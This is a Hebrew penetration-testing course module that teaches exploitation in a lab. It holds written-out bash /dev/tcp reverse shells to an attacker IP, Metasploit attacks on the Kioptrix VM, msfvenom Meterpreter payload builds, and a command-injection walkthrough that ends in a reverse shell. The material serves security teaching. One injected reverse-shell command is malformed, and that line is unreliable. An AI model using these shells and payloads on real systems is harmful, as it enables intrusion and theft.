

מודול 7 — ניצול והשגת גישה

חומר לימוד

1 יחידות

תוכן העניינים

1. מודול 7 — ניצול והשגת גישה (Exploitation)

📖 **הכול בגלילה אחת: כל החומר של המודול בקובץ אחד** — חומר לימוד, תרגילים, תרגול ופתרונות, ברצף.

🎬 **מודול מעשי — תשיג Shell בעצמך!** כאן תפסיק לקרוא ותתחיל לפרוץ: תפתח **Reverse Shell** אמיתי על המחשב שלך, ותנצל אפליקציה פגיעה (`vuln_webapp.py`, בלי התקנות) בעזרת **Command Injection** כדי להריץ קוד מרחוק (RCE) ולתפוס דגל. אחרי כל הדגמה: 🧠 **בדוק את עצמך.**

מודול 7 — ניצול והשגת גישה (Exploitation)

מטרות המודול: להפוך חולשה שזוהתה לגישה בפועל למערכת. נבין **Shells** (Reverse מול Bind), **Payloads** (Staged מול Non-Staged), **Listeners** עם Netcat, ניצול ידני מ-Exploit-DB, ואת **Metasploit Framework** — ובסוף ננצל את Kioptrix ונשיג **root**.

קבצים: `slides.md` · `practice.md` · `solutions.md` · `missions.md` · `README.md`

מבוסס על שיעורי המקור #48–#51 (Reverse/Bind Shells, Staged/Non-Staged Payloads, Gaining) (Root with Metasploit).

המקום בשרשרת: שלב 3 מחמשת השלבים — **Gaining Access**. במודול 6 מצאנו חולשה (Samba/mod_ssl של Kioptrix); כאן ננצל אותה בפועל.

תוכן העניינים

1. שלב הניצול — סקירה
2. מהו Shell
3. Reverse מול Bind Shell
4. Payloads: Staged מול Non-Staged
5. Listener — Netcat ידני
6. ניצול ידני מ-Exploit-DB
7. Metasploit Framework
8. ניצול Kioptrix → root
9. msfvenom ו-Meterpreter

7.1 שלב הניצול — סקירה

ניצול (Exploitation) הוא הפעלת ה-Exploit על החולשה, כדי להריץ קוד על היעד ולהשיג **Shell** — שליטה בשורת הפקודה של המכונה המרוחקת.

⚠ **זהירות:** Exploits עלולים להקריס שירותים או מערכות. בבדיקה אמיתית — הרץ בזהירות ובאישור. במעבדה — קח Snapshot לפני.

הזרימה: חולשה (מודול 6) → בחירת Exploit ← התאמת Payload ← הפעלה → Shell.

7.2 מהו Shell?

Shell הוא ערוץ שמאפשר לך להריץ פקודות על המכונה המרוחקת — כאילו אתה יושב מולה. השגת Shell = השגת שליטה.

- **שאלה מרכזית:** מי יוזם את החיבור — התוקף או הקורבן? התשובה קובעת אם זה Reverse או Bind.

7.3 Reverse מול Bind Shell

Bind Shell	Reverse Shell	
התוקף מתחבר לקורבן	הקורבן מתחבר לתוקף	מי יוזם חיבור
הקורבן	התוקף	Listener אצל
פורט פתוח נגיש אצל הקורבן	הקורבן מאחורי חומת אש/NAT (הנפוץ)	מתי משתמשים
חומות אש חוסמות פורטים נכנסים	—	חיסרון

Reverse Shell — הנפוץ ביותר

```
הקורבן מתחבר ---- קורבן <---- (על פורט 4444 Listener) תוקף
```

התוקף פותח “מאזין” (Listener), וה-Payload בקורבן “מתקשר הביתה” אל התוקף. **עוקף חומות אש** כי תעבורה **יוצאת** לרוב מותרת.

(על פורט פתוח Listener) תוקף ---- מתחבר <---- קורבן

ה-Payload פותח פורט מאזין בקורבן, והתוקף מתחבר אליו. פחות נפוץ — חומות אש חוסמות פורטים נכנסים.

 **כלל אצבע:** ברוב המקרים משתמשים ב-Reverse Shell, כי הקורבן לרוב מאחורי NAT/Firewall שחוסם חיבורים נכנסים אך מתיר יוצאים.

Non-Staged מול Payloads: Staged 7.4

Payload הוא הקוד שרץ על היעד לאחר הניצול (למשל "פתח לי Shell").

Non-Staged	Staged	
נשלח בבת אחת, מלא	נשלח בשלבים (קטן → Stage מלא)	מבנה
גדול יותר	קטן יותר בהתחלה	גודל
יציב יותר	תלוי בחיבור רציף	יציבות
windows/meterpreter_reverse_tcp	windows/meterpreter/reverse_tcp	דוגמה ב-msf

- ה- / בשם ה-Payload מסמן **Staged** (למשל `.../reverse_tcp`).
- ה- _ מסמן **Non-Staged** (למשל `..._reverse_tcp`).

 אם Shell נכשל בצורה מוזרה — נסה להחליף בין Staged ל-Non-Staged. לעיתים אחד עובד והשני לא, תלוי בסביבה.

Netcat 7.5 — הכלי הבסיסי

Netcat (nc) הוא "סכין הצבא השווייצרי" של הרשת — פותח חיבורי TCP/UDP גולמיים. משמש כ-Listener ל-Reverse Shell:

```
# על פורט 4444 Listener אצל התוקף – פתיחת
nc -lvnp 4444
# -l listen, -v verbose, -n ללא DNS, -p port
```

כשה-Reverse Shell של הקורבן יתחבר — תקבל שורת פקודה שלו.

```
# (Bash) שהקורבן מריץ Reverse Shell דוגמת:
bash -c 'bash -i >& /dev/tcp/192.168.56.5/4444 0>&1'
```

i החלף **192.168.56.5** ב-IP של Kali שלך (בדוק עם `ip a`), ו-4444 בפורט של ה-Listener שפתחת. זהו ה"טלפון הביתה" — הקורבן מתחבר לכתובת הזו. **⚠ הערת Kali:** `/dev/tcp` הוא פיצ'ר של `bash` בלבד — לא של `zsh` (מעטפת ברירת המחדל ב-Kali). לכן עוטפים ב-`bash -c`.
'. . . . '

 אתר מצוין לגזור Reverse Shells בכל שפה: revshells.com.

הדגמה — נסה בעצמך: Reverse Shell אמיתי (על המחשב שלך)

נדמה תוקף וקורבן — **על אותה מכונה**, כדי לראות בדיוק איך Shell "חוזר הביתה". בטוח לחלוטין (127.0.0.1).

צעד 1 — טרמינל 1 (התוקף): פתח Listener:

```
nc -lvnp 4444
```

👁👁 "listening on 4444" — התוקף ממתין לחיבור.

צעד 2 — טרמינל 2 (הקורבן): הרץ את ה-Reverse Shell:

```
bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
```

⚠ חשוב ל-Kali: מעטפת ברירת המחדל ב-Kali היא `zsh`, שאינה תומכת ב-`/dev/tcp`. לכן **חובה** לעטוף בפקודה `bash -c '...'` (כמו למעלה) — כך `bash` מבצע את ההפניה. אם תריץ את השורה בלי העטיפה ב-`zsh`, תקבל שגיאת "no such file or directory".

👁👁 חזור לטרמינל 1 — **קיבלת Shell!** הקלד:

```
whoami      # מי אני על "הקורבן"
hostname
id
```

 `nc` מותקן ב-Kali כברירת מחדל. אם בכל זאת חסר — התקן: `sudo apt install netcat-traditional`. חלופה נוחה: השתמש בהדגמת ה-Command Injection בהמשך (§7.10), שם ה-Shell

צעד 3 — סגור: `exit` בטרמינל הקורבן, `Ctrl+C` בטרמינל התוקף.

🎯 **מה קרה כאן:** ה"קורבן" יזם את החיבור אל התוקף (`/dev/tcp/IP/PORT`), וה-Listener קלט אותו. זה בדיוק Reverse Shell — ולכן הוא עוקף חומות אש: התעבורה יוצאת מהקורבן.

🧠 **בדוק את עצמך:** ב-Reverse Shell, מי יוזם את החיבור? - א) התוקף מתחבר לקורבן - ב) הקורבן מתחבר לתוקף (שמאזין) - ג) אף אחד — זה אוטומטי

✅ **תשובה: ב** — ב-Reverse Shell הקורבן "מתקשר הביתה" אל ה-Listener של התוקף. לכן זה עוקף חומות אש שחוסמות חיבורים נכנסים.

7.6 ניצול ידני מ-Exploit-DB

זוכרים את ה-Exploit שמצאנו ב-`searchsploit` (מודול 6)? כך מפעילים אותו ידנית:

<code>searchsploit -m 764</code>	# לתיקיה הנוכחית Exploit-העתקת ה
<code>cat 764.c</code>	# קריאת הקוד וההוראות (בראש הקובץ!)
<code>gcc 764.c -o exploit</code>	# קומפילציה (ל-Exploit -C)
<code>./exploit <target> <args></code>	# הפעלה

⚠️ **תמיד קרא את קוד ה-Exploit לפני הרצה** — ודא מה הוא עושה, ושאינו זדוני. Exploits מהאינטרנט עלולים להכיל "הפתעות". לעיתים צריך להתאים את הקוד (Offsets, כתובות IP, פורטים) לפני קומפילציה.

Metasploit Framework 7.7

Metasploit הוא מסגרת הניצול המקיפה ביותר — אלפי Exploits ו-Payloads מוכנים, בממשק אחיד.

מושג	פירוש
Exploit	הקוד שמנצל את החולשה
Payload	מה שרץ אחרי (Shell/Meterpreter)
Module	יחידה (exploit/auxiliary/post)
LHOST/LPORT	ה-IP והפורט של התוקף (למאזין)
RHOSTS	ה-IP של היעד

זרימת עבודה בסיסית (msfconsole)

```
msfconsole          # הפעלה
search samba        # חיפוש Exploit
use exploit/multi/samba/usermap_script # בחירת Module
show options        # אילו פרמטרים דרושים
set RHOSTS 192.168.56.10 # הגדרת היעד
set LHOST 192.168.56.5   # הגדרת התוקף (שלך)
show payloads       # תואמים Payloads
set PAYLOAD cmd/unix/reverse # בחירת Payload
exploit             # run (או) הפעלה
```

הפעלה ראשונה של msfconsole: אם אתה רואה אזהרה על מסד נתונים (No database support), זה לא חוסם — `exploit / use / search` יעבדו. כדי להפעיל את מסד הנתונים (מומלץ, מאיץ חיפושים): צא (exit), הרץ `sudo msfdb init`, ואז `msfconsole` שוב.

7.8 ניצול מעשי: root → Kioptrix

נחבר את הכל. במודול 6 גילינו ש-Kioptrix מריץ **Samba פגיע**. ננצל אותו ב-Metasploit ונשיג root:

```
msfconsole
search trans2open # Kioptrix של Samba ל-Exploit
use exploit/linux/samba/trans2open
show options
set RHOSTS 192.168.56.10 # Kioptrix של IP
set LHOST 192.168.56.5   # Kali של IP
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
```

אם הצליח — תקבל Shell. בדוק מי אתה:

```
whoami      # root ← השגנו שליטה מלאה!  
id  
hostname
```

🎯 **הרגע הזה** — מעבר מ-“מצאתי חולשה” ל-“אני root על המכונה” — הוא לב בדיקת החדירות. תעד אותו (צילום מסך של whoami = הוכחת ניצול לדוח).

וקטור חלופי (mod_ssl): ה-CVE-2002-0082 “OpenFuck” Exploit על פורט 443 — ניצול ידני מ-Exploit-DB (סעיף 7.6) המוביל גם הוא ל-root.

Meterpreter-1 msfvenom 7.9

msfvenom — יצירת Payloads מותאמים

כשצריך Payload עצמאי (קובץ להעלות/להריץ ביעד):

```
# Reverse Shell ל-Windows כקובץ exe:  
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=4444 -f exe -o shell.exe  
# Reverse Shell ל-Linux:  
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=4444 -f elf -o shell
```

- `-p` Payload · `-f` פורמט · `-o` קובץ פלט.
- לאחר שהקורבן מריץ, קולטים עם `multi/handler` ב-Metasploit.

Meterpreter — Payload מתקדם

Meterpreter הוא Shell משודרג של Metasploit, עם פקודות עוצמתיות:

```
sysinfo      # פרטי המערכת  
getuid       # מי אני  
hashdump     # של סיסמאות Hashes שאיכת  
download / upload # העברת קבצים  
shell        # רגיל Shell-מעבר ל
```

Meterpreter רץ בזיכרון (שקט יותר) ומהווה בסיס מצוין ל**פוסט-אקספלייטציה** (מודול 11). 💡

7.10 מיני-פרויקט: נצל אפליקציה פגיעה (Command Injection → RCE) 🎯

אין צורך במעבדת VM — כאן תנצל אפליקציה אמיתית על המחשב שלך, מתחילת ועד סוף: מזהוי החולשה, דרך הרצת קוד, ועד Shell מלא.

הרקע: אתר `vuln_webapp.py` הוא "כלי בדיקת רשת" של ACME. הוא מקבל כתובת ומריץ עליה `ping`. החולשה: הוא משרשר את הקלט שלך ישירות לפקודת `shell` — קלאסיקה של **Command Injection**.

🎬 **הדגמה — נסה בעצמך: מ-Ping ל-RCE מלא**

צעד 1 — טרמינל 1: הפעל את המטרה:

```
python3 vuln_webapp.py # http://127.0.0.1:8080 — השאר רץ
```

צעד 2 — שימוש תמים (כמו משתמש רגיל):

```
curl -s "127.0.0.1:8080/ping?host=127.0.0.1" | grep transmitted
```

👁️ פלט `ping` רגיל. הכל נראה תקין... אבל מה אם נוסיף ? ;

צעד 3 — הזרקת פקודה (הוכחת RCE): ה- ; מסיים את פקודת ה-`ping` ומריץ פקודה משלנו:

```
curl -s "127.0.0.1:8080/ping?host=127.0.0.1;id"
```

👁️ הפלט מכיל `uid=... gid=...` — **הרצת את `id` על השרת!** זו הרצת קוד מרחוק (RCE).

צעד 4 — תפוס את הדגל. תוקף מחפש קבצים רגישים. נצל את ה-RCE כדי לקרוא את השלל:

```
curl -s "127.0.0.1:8080/ping?host=x;cat%20/tmp/exploit_me/flag.txt"
```

👁️ `flag{command_injection_equals_rce}` 🎉 (ה-`%20` הוא רווח מקודד ב-URL).

צעד 5 — שדרג ל-Shell מלא (משלב את 7.5): פתח Listener בטרמינל 2 (`nc -lvp 4444`), ואז הזרק Reverse Shell. ה-`%20%26` בסוף (רווח + `&`) מריץ אותו ברקע, כך שה-Shell נשאר חי:

```
curl -s "127.0.0.1:8080/ping?host=x;bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/127.0.0.1/4444%20>%26%20/dev/tcp/127.0.0.1/4444%20>'"
```

👁️ בטרמינל ה-Listener קיבלת **Shell אינטראקטיבי מלא** על השרת (הקלד שם `whoami`, `id`). הזרקת פקודה בודדה הפכה לשליטה מלאה.

🎯 **מה קרה כאן:** הקוד `subprocess.run("ping -c 1 " + host, shell=True)` בטח בקלט המשתמש. ה- ; פיצל אותו לשתי פקודות. **הלקח ההגנתי:** לעולם אל תשרשר קלט לפקודת `shell` — השתמש ברשימת ארגומנטים (`shell=False`) או בוולידציה קפדנית.

🏆 **אתגר:** ללא ; , אילו עוד תווים מאפשרים הזרקה? נסה | , && , ו- (...) . (רמז: כולם עובדים!)

🧠 **בדוק את עצמך:** מה **גרם** לחולשת ה-Command Injection? (א) שהשרת כתוב בפייתון - (ב) שקלט המשתמש שורשר ישירות לפקודת `shell` (`shell=True`) (בלי סינון - ג) שהפורט הוא 8080

✅ **תשובה: ב** — שרשור קלט לא-מסונן לפקודת מערכת מאפשר לתוקף "לשבור" את הפקודה ולהריץ משלו. ההגנה: הפרדת קוד מנתונים (ארגומנטים במקום מחרוזת, ולידציה).

סיכום המודול

- **Shell** = שליטה בשורת הפקודה המרוחקת. **Reverse** (הקורבן מתחבר אליך — הנפוץ) מול **Bind** (אתה מתחבר לקורבן).
- **Payloads:** Staged (/ , בשלבים) מול Non-Staged (_ , מלא).
- **Listener** = (`nc -l vnp`) **Netcat** בסיסי; **revshells.com** לגזירת Reverse Shells.
- **ניצול ידני** מ-Exploit-DB (קרא, התאם, קמפל, הרץ) — תמיד קרא את הקוד קודם.
- **Metasploit:** `search → use → set RHOSTS/LHOST/PAYLOAD → exploit` . ניצלנו את Samba של Kioptrix והשגנו **root**.
- **msfvenom** ליצירת **Meterpreter** Payloads; ל-**post-exploitation**.

מה הלאה?

→ **תרגילים** — **missions.md** · פתרונות — **solutions.md** · תרגול ותרחישים — **practice.md** →
מודול 8 — מתקפות סיסמאות

← חזרה למפת הקורס